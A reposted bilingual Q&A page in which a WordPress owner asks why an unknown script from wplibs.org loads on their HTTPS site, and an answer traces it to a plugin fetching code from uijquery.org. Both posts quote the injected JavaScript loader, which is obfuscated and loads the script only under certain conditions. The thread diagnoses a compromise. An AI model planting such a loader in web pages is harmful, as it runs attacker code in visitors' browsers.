脚本行为异常 [英] Strange behavior with script

查看:96
本文介绍了脚本行为异常的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我正在运行新的安全WordPress安装(https).在我的代码中,我加载了一些JavaScript文件(modernizr,cookie和我自己的文件)

I'm running a new secured WordPress install (https). In my code I load some JavaScript files (modernizr, cookie, and my own)

jQuery由WordPress自动加载.

jQuery is automatically loaded by WordPress.

已安装的插件是Yoast SEO,WPML和SMK侧边栏.

Installed plugins are Yoast SEO, WPML and SMK Sidebars.

问题是当我在浏览器中检查控制台时,向我显示以下内容:

The issue is when I check the console in my browser, it shows me the following:

混合内容:" https://www.myuri.com/上的页面已加载 HTTPS,但请求了不安全的脚本 " http://www.wplibs.org/jquery.min.js ".该请求已被阻止; 内容必须通过HTTPS提供.

Mixed Content: The page at 'https://www.myuri.com/' was loaded over HTTPS, but requested an insecure script 'http://www.wplibs.org/jquery.min.js'. This request has been blocked; the content must be served over HTTPS.

在源代码中:

<script type="text/javascript">
if(!document.referrer || document.referrer == '') {
    document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.min.js"></scr'+'ipt>');
} else {
    document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.js"></scr'+'ipt>');
}
</script>

我正在寻找脚本"wplibs.com/jquery.min.js"的来源,但找不到.

I'm looking where the script "wplibs.com/jquery.min.js" comes from but I can't find.

有人有主意吗?

推荐答案

我发现了问题.这是由向 http://uijquery.org/jquery请求的插件引起的-1.6.3.min.js 并获得正文响应,您将看到源代码:

I found the problem. It is caused by plugins that make request to http://uijquery.org/jquery-1.6.3.min.js and get the body response, you will see the source code:

<script type="text/javascript">
  var now = new Date().getTime();
  if (now%2 == 0) {
    if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.min.js"></scr'+'ipt>'); } else { document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.js"></scr'+'ipt>'); } 
  }
</script>

尝试在文件内部查找令牌"jquery.org"或"uijquery.org".

Try to look inside the files for the token "jquery.org" or "uijquery.org".

这篇关于脚本行为异常的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆